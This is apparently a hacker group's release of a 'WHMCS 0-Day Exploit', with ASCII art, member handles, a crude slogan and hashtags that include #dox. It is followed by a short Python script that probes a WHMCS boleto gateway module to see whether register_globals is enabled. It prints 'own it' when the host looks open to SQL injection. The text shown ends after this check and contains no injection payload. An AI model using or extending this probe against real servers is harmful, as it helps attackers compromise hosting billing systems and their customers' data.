WHMCS 0-Day Exploit

         __    __  _______ ____   __                 __
        |  |  |  |/  _____|    \ |  | ______ _______(__)
        |  |  |  |  /   __|     \|  |/ __   |___  __|  |
        |  |__|  |  |___\ \  |\     | (__|  |___/ /_|  |
        \________/\_______/__|  \___|\____/_|_______|__|
============================|Twitter.com/UG|=======================

---> Joshthegod >  MrOsama > Cosmo > CyberZeist <---


"Fuck With The Best , Die Like The Rest"

Twitter.com/Ug
Twitter.com/Joshthegod
Twitter.com/Cosmothegod
Twitter.com/le4ky

==============================================================================

#UGNazi #Mybb #UGNaziwhmcs #Whmcs #fuckskids #hack #joshthegod #UG #Cosmothegod #MrOsama #dox

==============================================================================

########################################
# UGNazi 0 Day WHMCS Exploit
#######################################
import urllib2
import urllib
import os

def regglobcheck():
        regglob1 = urllib2.Request('http://127.0.0.1/whmcs/whmcs_v451/whmcs/modules/gateways/boleto/boleto_bb.php?dadosboleto[identificacao]=test')
        regglob2 = urllib2.urlopen(regglob1)
        regglob3 = regglob2.read().count('test')
        if regglob3 == 0:
                rgen = 0
                print " [+] Register Globals not enabled, no sqli on this whmcs install"
        elif regglob3 >= 1:
                rgen = 1
                print " [+] Register Globals enabled, own it."

regglobcheck()